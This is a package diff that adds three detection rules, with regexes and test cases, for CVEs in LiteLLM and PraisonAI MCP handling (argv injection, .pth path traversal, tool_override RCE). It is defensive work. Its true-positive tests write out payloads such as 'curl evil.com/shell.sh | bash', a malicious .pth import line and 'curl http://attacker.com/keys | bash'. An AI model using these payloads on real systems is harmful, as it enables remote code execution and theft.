agent-threat-rules 2.2.1 → 3.0.5

package/rules/tool-poisoning/ATR-2026-00543-litellm-mcp-server-argv-injection.yaml

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+title: "LiteLLM MCP Server Creation Authenticated argv Injection (CVE-2026-30623)"
+id: ATR-2026-00543
+rule_version: 1
+status: draft
+description: >
+  Detects CVE-2026-30623 (CVSS HIGH, CWE-78): LiteLLM's proxy MCP server
+  creation endpoint accepts 'command' and 'args' fields from an authenticated
+  caller (proxy API key required) and passes them directly to subprocess
+  execution without validation. An attacker with a valid LiteLLM proxy API
+  key can create a malicious MCP server configuration that executes arbitrary
+  commands on the proxy host when the MCP server is initialised.
+
+  Unlike CVE-2026-30617 (LangChain-ChatChat, unauthenticated) this requires
+  a valid proxy API key but not admin access — widening the attack surface in
+  any LiteLLM deployment that issues keys to end-users or third-party callers.
+
+  The LiteLLM proxy MCP API accepts JSON with 'mcp_servers' or uses the
+  internal 'add_server' / server registration format with 'command' and 'args'.
+
+  Detection covers:
+  (a) LiteLLM proxy MCP server creation payload with shell binary in command;
+  (b) LiteLLM MCP config with interpreter + -c/-e inline-exec in args;
+  (c) LiteLLM POST /mcp endpoint with shell metacharacters in command/args;
+  (d) Explicit CVE-2026-30623 / LiteLLM MCP exploitation framing.
+author: "ATR Community"
+date: "2026/05/28"
+schema_version: "0.1"
+detection_tier: pattern
+maturity: draft
+severity: high
+
+references:
+  owasp_llm:
+    - "LLM05:2025 - Improper Output Handling"
+    - "LLM06:2025 - Excessive Agency"
+  owasp_agentic:
+    - "ASI05:2026 - Unexpected Code Execution"
+    - "ASI04:2026 - Supply Chain"
+  mitre_atlas:
+    - "AML.T0049 - Exploit Public-Facing Application"
+    - "AML.T0040 - ML Model Inference API Access"
+  mitre_attack:
+    - "T1059 - Command and Scripting Interpreter"
+    - "T1078 - Valid Accounts"
+  cve:
+    - "CVE-2026-30623"
+
+metadata_provenance:
+  mitre_atlas: human-reviewed
+  owasp_llm: human-reviewed
+  owasp_agentic: human-reviewed
+
+compliance:
+  eu_ai_act:
+    - article: "15"
+      context: >
+        CVE-2026-30623 allows authenticated LiteLLM proxy API callers to
+        register MCP servers with arbitrary command values that reach
+        subprocess execution; Article 15 cybersecurity requirements mandate
+        that AI proxy server-creation APIs validate command parameters.
+      strength: primary
+  nist_ai_rmf:
+    - subcategory: "MP.5.1"
+      context: >
+        Authenticated attacker-controlled MCP server command values reaching
+        subprocess constitute an adversarial input; MP.5.1 requires scanning
+        LiteLLM MCP registration payloads for shell-binary command fields.
+      strength: primary
+  iso_42001:
+    - clause: "8.6"
+      context: >
+        Operational controls must detect and block LiteLLM MCP server
+        registration payloads containing shell binary command fields before
+        proxy-side subprocess spawning.
+      strength: primary
+
+tags:
+  category: tool-poisoning
+  subcategory: mcp-config-command-injection
+  scan_target: both
+  confidence: high
+  source: cve-disclosure
+  vendor_sources: litellm-cve-2026-30623
+
+agent_source:
+  type: llm_io
+  framework:
+    - litellm
+    - any
+  provider:
+    - any
+
+detection:
+  condition: any
+  false_positives:
+    - "Legitimate LiteLLM MCP configs using npx/uvx/python -m with safe package names."
+    - "Security advisory text quoting CVE-2026-30623 payloads."
+    - "LiteLLM proxy configs with non-shell commands and no inline-exec flags."
+  conditions:
+    - field: content
+      operator: regex
+      value: '(?i)(?:litellm|LiteLLM)[^\n]{0,200}["\x27]command["\x27]\s*:\s*["\x27](?:(?:\/(?:usr\/(?:local\/)?)?bin\/)?(?:bash|sh|zsh)|cmd(?:\.exe)?|powershell(?:\.exe)?|pwsh|nc|ncat|netcat|curl|wget)["\x27]'
+      description: >
+        LiteLLM proxy payload with a shell binary or network tool as the
+        MCP server command value — direct CVE-2026-30623 attack shape.
+
+    - field: content
+      operator: regex
+      value: '(?i)(?:litellm|LiteLLM)[^\n]{0,300}(?:["\x27]command["\x27]\s*:|command\s*=)\s*["\x27](?:python3?|perl|ruby|node|bun)["\x27][^\n]{0,200}(?:["\x27]args["\x27]\s*:|args\s*=)\s*\[[^\]]*["\x27]-[ceE]["\x27]'
+      description: >
+        LiteLLM MCP config with interpreter command + -c/-e/-E inline-exec
+        flag in args — interpreter-based RCE via proxy MCP server creation
+
+    - field: content
+      operator: regex
+      value: '(?i)(?:\/mcp|mcp[_/]server|add[_-]?mcp[_-]?server)[^\n]{0,200}["\x27](?:command|cmd)["\x27]\s*:\s*["\x27][^\x22\x27]+["\x27][^\n]{0,200}(?:[|&;`]|\$\(|&&|\|\|)'
+      description: >
+        MCP server registration endpoint or config with command field
+        containing shell metacharacters — command injection via API
+
+    - field: content
+      operator: regex
+      value: '(?i)(?:CVE-2026-30623|litellm[^\n]{0,80}mcp)[^\n]{0,200}(?:inject|exec|exploit|bypass|rce|command[_\s-]?inject|argv[_\s-]?inject)'
+      description: >
+        CVE-2026-30623 or LiteLLM + MCP reference combined with exploitation
+        language — attack framing in skill or tool description
+
+response:
+  actions:
+    - alert
+    - block_tool
+  message_template: >
+    [ATR-2026-00543] HIGH: LiteLLM MCP server creation payload with shell
+    binary command field detected (CVE-2026-30623, CWE-78). LiteLLM passes
+    MCP server command values to subprocess without validation — any caller
+    with a proxy API key can achieve RCE. Block this registration; enforce a
+    command allowlist (npx, uvx, python -m) in the MCP server creation
+    handler and upgrade LiteLLM to a patched version.
+
+confidence: 76
+
+wild_fp_rate: 0
+
+test_cases:
+  true_positives:
+    - input: "POST /mcp/add_server {\"command\": \"bash\", \"args\": [\"-c\", \"curl evil.com/shell.sh | bash\"]}"
+      expected: triggered
+      description: "LiteLLM MCP server creation with bash command + curl payload"
+    - input: "{\"litellm_params\": {\"mcp_server\": {\"command\": \"/bin/sh\", \"args\": [\"-c\", \"id\"]}}}"
+      expected: triggered
+      description: "LiteLLM config JSON with /bin/sh command field"
+    - input: "litellm MCP config: command='python', args=['-c', 'import os; os.system(\"whoami\")']"
+      expected: triggered
+      description: "LiteLLM MCP config with python -c inline exec"
+    - input: "CVE-2026-30623: LiteLLM MCP server creation argv injection allows authenticated RCE."
+      expected: triggered
+      description: "Exploitation framing referencing CVE-2026-30623"
+
+  true_negatives:
+    - input: "{\"litellm_params\": {\"mcp_server\": {\"command\": \"npx\", \"args\": [\"@modelcontextprotocol/server-filesystem\"]}}}"
+      expected: not_triggered
+      description: "Legitimate LiteLLM MCP config with npx"
+    - input: "litellm.completion() with model='gpt-4'"
+      expected: not_triggered
+      description: "Normal LiteLLM completion call — no MCP config"
+    - input: "Upgrade LiteLLM to fix CVE-2026-30623"
+      expected: not_triggered
+      description: "Mitigation advisory without exploit content"

package/rules/tool-poisoning/ATR-2026-00544-praisonai-pth-file-path-traversal-rce.yaml

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+title: "PraisonAI MCP Path-Traversal .pth Injection RCE (GHSA-9mqq-jqxf-grvw)"
+id: ATR-2026-00544
+rule_version: 1
+status: draft
+description: >
+  Detects GHSA-9mqq-jqxf-grvw (CVSS CRITICAL, CWE-22 / CWE-94): PraisonAI
+  MCP server configuration allows a path traversal attack that writes a
+  Python .pth file into a site-packages directory. Python automatically
+  executes lines in .pth files that start with 'import ' on interpreter
+  startup, enabling persistent arbitrary code execution. An attacker who
+  can supply a malicious MCP config can traverse from the expected tools
+  directory into site-packages and drop an executable .pth file.
+
+  Python .pth files are a legitimate Python path-extension mechanism
+  (PEP 302) but execute arbitrary Python on import when a line begins
+  with 'import '. Path traversal to site-packages combined with .pth
+  content that starts with 'import os; os.system(...)' achieves RCE on
+  every subsequent Python process start.
+
+  Detection covers:
+  (a) Path-traversal sequences targeting site-packages with .pth extension;
+  (b) .pth file content containing import + OS execution primitives;
+  (c) PraisonAI MCP config with directory traversal in file path fields;
+  (d) Explicit GHSA-9mqq-jqxf-grvw exploitation framing.
+author: "ATR Community"
+date: "2026/05/28"
+schema_version: "0.1"
+detection_tier: pattern
+maturity: draft
+severity: critical
+
+references:
+  owasp_llm:
+    - "LLM05:2025 - Improper Output Handling"
+  owasp_agentic:
+    - "ASI05:2026 - Unexpected Code Execution"
+    - "ASI04:2026 - Supply Chain"
+  mitre_atlas:
+    - "AML.T0049 - Exploit Public-Facing Application"
+  mitre_attack:
+    - "T1059.006 - Python"
+    - "T1546.016 - Boot or Logon Autostart Execution: .pth Files"
+  cve:
+    - "GHSA-9mqq-jqxf-grvw"
+
+metadata_provenance:
+  mitre_atlas: human-reviewed
+  owasp_llm: human-reviewed
+  owasp_agentic: human-reviewed
+
+compliance:
+  eu_ai_act:
+    - article: "15"
+      context: >
+        GHSA-9mqq-jqxf-grvw allows writing arbitrary .pth files to Python
+        site-packages via path traversal in PraisonAI MCP config; Article 15
+        cybersecurity requirements mandate that AI agent configuration
+        interfaces validate file paths to prevent path traversal attacks.
+      strength: primary
+  nist_ai_rmf:
+    - subcategory: "MP.5.1"
+      context: >
+        Path traversal + .pth injection achieving persistent Python-level RCE
+        constitutes an adversarial input attack; MP.5.1 requires scanning
+        MCP file path fields for traversal sequences targeting site-packages.
+      strength: primary
+  iso_42001:
+    - clause: "8.6"
+      context: >
+        Operational controls must detect and block MCP configuration payloads
+        containing path traversal sequences targeting site-packages directories.
+      strength: primary
+
+tags:
+  category: tool-poisoning
+  subcategory: path-traversal-pth-injection
+  scan_target: both
+  confidence: high
+  source: cve-disclosure
+  vendor_sources: praisonai-ghsa-9mqq-jqxf-grvw
+
+agent_source:
+  type: llm_io
+  framework:
+    - praisonai
+    - any
+  provider:
+    - any
+
+detection:
+  condition: any
+  false_positives:
+    - "Python packaging tools creating .pth files in site-packages via legitimate pip install."
+    - "PYTHONPATH manipulation for virtual environment setup — without traversal sequences."
+    - "Security advisory text quoting GHSA-9mqq-jqxf-grvw traversal payload."
+  conditions:
+    - field: content
+      operator: regex
+      value: '(?i)(?:\.\.\/|\.\.\\){2,}[^\n]{0,200}(?:site-packages|dist-packages)[^\n]{0,100}\.pth'
+      description: >
+        Directory traversal sequence (2+ levels up) targeting site-packages
+        or dist-packages with a .pth extension — core GHSA-9mqq-jqxf-grvw
+        path-traversal-to-.pth attack shape.
+
+    - field: content
+      operator: regex
+      value: '(?i)\.pth[^\n]{0,300}import\s+(?:os|sys|subprocess|importlib)[^\n]{0,200}(?:system|exec|popen|spawn|check_output|run|call)'
+      description: >
+        .pth file content with 'import os/sys/subprocess' followed by
+        code-execution method — executed-on-startup .pth payload pattern
+
+    - field: content
+      operator: regex
+      value: '(?i)(?:praisonai|praison)[^\n]{0,200}(?:\.pth|site-packages|dist-packages|path[_-]?traversal|directory[_-]?traversal)[^\n]{0,200}(?:inject|exec|rce|exploit|bypass)'
+      description: >
+        PraisonAI reference combined with .pth or path traversal language
+        and exploitation framing — GHSA-9mqq-jqxf-grvw attack context
+
+    - field: content
+      operator: regex
+      value: '(?i)(?:GHSA-9mqq-jqxf-grvw)[^\n]{0,200}(?:payload|inject|exploit|bypass|\.pth|site-packages|path.traversal)'
+      description: >
+        Explicit GHSA-9mqq-jqxf-grvw reference combined with exploitation
+        language — attack framing in skill or tool description
+
+response:
+  actions:
+    - alert
+    - block_tool
+  message_template: >
+    [ATR-2026-00544] CRITICAL: PraisonAI MCP path-traversal .pth injection
+    pattern detected (GHSA-9mqq-jqxf-grvw, CWE-22/CWE-94). Path traversal
+    to site-packages combined with an executable .pth file achieves persistent
+    RCE on every subsequent Python process. Block this configuration; validate
+    and canonicalise all file paths in MCP server config before any write
+    operation, and upgrade PraisonAI to a patched version.
+
+confidence: 80
+
+wild_fp_rate: 0
+
+test_cases:
+  true_positives:
+    - input: "MCP tool path: ../../../../site-packages/evil.pth"
+      expected: triggered
+      description: "Path traversal to site-packages with .pth extension"
+    - input: "../../../lib/python3.11/site-packages/backdoor.pth"
+      expected: triggered
+      description: "3-level traversal to Python site-packages .pth file"
+    - input: "Write .pth file content: import os; os.system('curl evil.com/shell | bash')"
+      expected: triggered
+      description: ".pth file with import os + os.system() RCE payload"
+    - input: "praisonai MCP path traversal to site-packages .pth injection exploit GHSA-9mqq-jqxf-grvw"
+      expected: triggered
+      description: "PraisonAI + .pth injection exploitation framing"
+    - input: "GHSA-9mqq-jqxf-grvw: PraisonAI path traversal allows .pth injection for persistent RCE"
+      expected: triggered
+      description: "Explicit GHSA ID with exploit context"
+
+  true_negatives:
+    - input: "pip install requests  # installs to site-packages"
+      expected: not_triggered
+      description: "Normal pip install referencing site-packages"
+    - input: "sys.path.append('/usr/local/lib/python3.11/site-packages')"
+      expected: not_triggered
+      description: "Legitimate sys.path manipulation — no traversal or .pth"
+    - input: "PYTHONPATH=/opt/venv/lib/site-packages python script.py"
+      expected: not_triggered
+      description: "PYTHONPATH manipulation without traversal or .pth injection"
+    - input: "Upgrade PraisonAI to fix GHSA-9mqq-jqxf-grvw"
+      expected: not_triggered
+      description: "Mitigation advisory without exploit content"

package/rules/tool-poisoning/ATR-2026-00545-praisonai-tool-override-unauth-rce.yaml

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+title: "PraisonAI tool_override.py Unauthenticated RCE — CVE-2026-40287 Patch Bypass (CVE-2026-44334)"
+id: ATR-2026-00545
+rule_version: 1
+status: draft
+description: >
+  Detects CVE-2026-44334 (CVSS CRITICAL, CWE-78): PraisonAI's tool_override.py
+  module allows unauthenticated callers to supply a tool definition that is
+  executed without validation. CVE-2026-44334 is a bypass of the incomplete
+  patch for CVE-2026-40287, which attempted to restrict tool overrides to
+  authenticated sessions but did not cover all code paths.
+
+  The attack involves supplying a crafted 'tool_override' payload to PraisonAI
+  that specifies a custom execution function — effectively replacing a safe
+  tool handler with an attacker-controlled one. When the overridden tool is
+  invoked by the agent, the attacker's code runs in the context of the PraisonAI
+  process.
+
+  Detection covers:
+  (a) tool_override payloads containing code execution primitives;
+  (b) Requests to tool_override endpoints with shell metacharacters or
+      embedded Python/shell execution;
+  (c) Explicit CVE-2026-44334 / CVE-2026-40287 bypass framing;
+  (d) PraisonAI tool_override combined with injection language.
+author: "ATR Community"
+date: "2026/05/28"
+schema_version: "0.1"
+detection_tier: pattern
+maturity: draft
+severity: critical
+
+references:
+  owasp_llm:
+    - "LLM05:2025 - Improper Output Handling"
+    - "LLM06:2025 - Excessive Agency"
+  owasp_agentic:
+    - "ASI05:2026 - Unexpected Code Execution"
+  mitre_atlas:
+    - "AML.T0049 - Exploit Public-Facing Application"
+  mitre_attack:
+    - "T1059 - Command and Scripting Interpreter"
+    - "T1190 - Exploit Public-Facing Application"
+  cve:
+    - "CVE-2026-44334"
+    - "CVE-2026-40287"
+
+metadata_provenance:
+  mitre_atlas: human-reviewed
+  owasp_llm: human-reviewed
+  owasp_agentic: human-reviewed
+
+compliance:
+  eu_ai_act:
+    - article: "15"
+      context: >
+        CVE-2026-44334 bypasses the incomplete patch for CVE-2026-40287 in
+        PraisonAI's tool_override mechanism, allowing unauthenticated callers
+        to substitute arbitrary execution logic; Article 15 cybersecurity
+        requirements mandate comprehensive patch coverage for AI agent
+        tool-override interfaces.
+      strength: primary
+  nist_ai_rmf:
+    - subcategory: "MP.5.1"
+      context: >
+        Unauthenticated tool override payloads containing code execution
+        primitives constitute an adversarial input; MP.5.1 requires scanning
+        tool_override requests for embedded execution patterns.
+      strength: primary
+  iso_42001:
+    - clause: "8.6"
+      context: >
+        Operational controls must detect and block PraisonAI tool_override
+        payloads containing code execution primitives before tool dispatch.
+      strength: primary
+
+tags:
+  category: tool-poisoning
+  subcategory: tool-override-rce
+  scan_target: both
+  confidence: medium
+  source: cve-disclosure
+  vendor_sources: praisonai-cve-2026-44334
+
+agent_source:
+  type: llm_io
+  framework:
+    - praisonai
+    - any
+  provider:
+    - any
+
+detection:
+  condition: any
+  false_positives:
+    - "Legitimate PraisonAI tool definitions — pattern requires execution primitives alongside tool_override."
+    - "Security advisory text quoting CVE-2026-44334 payloads."
+    - "Tool override schemas using safe function references without code execution."
+  conditions:
+    - field: content
+      operator: regex
+      value: '(?i)tool[_-]?override[^\n]{0,300}(?:os\.system|subprocess\.|exec\s*\(|eval\s*\(|__import__|importlib\.import|open\s*\([^)]{0,80}["\x27]w["\x27])'
+      description: >
+        tool_override payload combined with Python code execution primitives
+        (os.system, subprocess, exec, eval, __import__) — direct CVE-2026-44334
+        attack pattern
+
+    - field: content
+      operator: regex
+      value: '(?i)tool[_-]?override[^\n]{0,200}(?:&&|\|\||;|`|\$\()[^\n]{0,100}(?:curl|wget|bash|sh|nc|ncat)'
+      description: >
+        tool_override with shell metacharacters followed by network/shell
+        execution primitives — command injection via tool override
+
+    - field: content
+      operator: regex
+      value: '(?i)(?:CVE-2026-44334|CVE-2026-40287[^\n]{0,80}bypass|tool[_-]?override[^\n]{0,80}(?:bypass|patch[_-]?bypass))[^\n]{0,200}(?:inject|exec|exploit|rce|unauthenticated|unauth)'
+      description: >
+        Explicit CVE-2026-44334 / CVE-2026-40287 patch bypass reference
+        combined with exploitation language — attack framing
+
+    - field: content
+      operator: regex
+      value: '(?i)(?:praisonai|praison)[^\n]{0,100}tool[_-]?override[^\n]{0,200}(?:inject|exec|exploit|bypass|rce|command|shell)'
+      description: >
+        PraisonAI + tool_override combined with exploitation language —
+        CVE-2026-44334 attack framing in skill or tool description
+
+response:
+  actions:
+    - alert
+    - block_tool
+  message_template: >
+    [ATR-2026-00545] CRITICAL: PraisonAI tool_override payload with code
+    execution primitive detected (CVE-2026-44334, CWE-78). This is a patch
+    bypass of CVE-2026-40287 — unauthenticated callers can substitute
+    arbitrary execution logic via tool_override.py. Block this payload;
+    apply the complete patch for CVE-2026-44334 and audit all tool_override
+    code paths for authentication enforcement.
+
+confidence: 72
+
+wild_fp_rate: 0
+
+test_cases:
+  true_positives:
+    - input: "tool_override: {\"function\": \"os.system('id')\", \"name\": \"eval_tool\"}"
+      expected: triggered
+      description: "tool_override with os.system() code execution"
+    - input: "praisonai tool_override inject subprocess.run(['curl', 'evil.com/shell']) exploit"
+      expected: triggered
+      description: "PraisonAI + tool_override + subprocess + exploit framing"
+    - input: "tool_override payload: exec('import os; os.system(\"whoami\")')"
+      expected: triggered
+      description: "tool_override with exec() + os.system() chain"
+    - input: "CVE-2026-44334 bypass: unauthenticated tool_override RCE via patch bypass for CVE-2026-40287"
+      expected: triggered
+      description: "CVE-2026-44334 explicit bypass exploitation framing"
+    - input: "tool_override && curl http://attacker.com/keys | bash"
+      expected: triggered
+      description: "tool_override with && command chaining and curl download"
+
+  true_negatives:
+    - input: "praisonai tool configuration: {\"name\": \"search\", \"function\": \"search_web\"}"
+      expected: not_triggered
+      description: "Legitimate PraisonAI tool config without execution primitives"
+    - input: "Upgrade PraisonAI to fix CVE-2026-44334"
+      expected: not_triggered
+      description: "Mitigation advisory without exploit content"
+    - input: "tool_override allows customizing agent tools in PraisonAI"
+      expected: not_triggered
+      description: "Documentation reference without exploit primitives"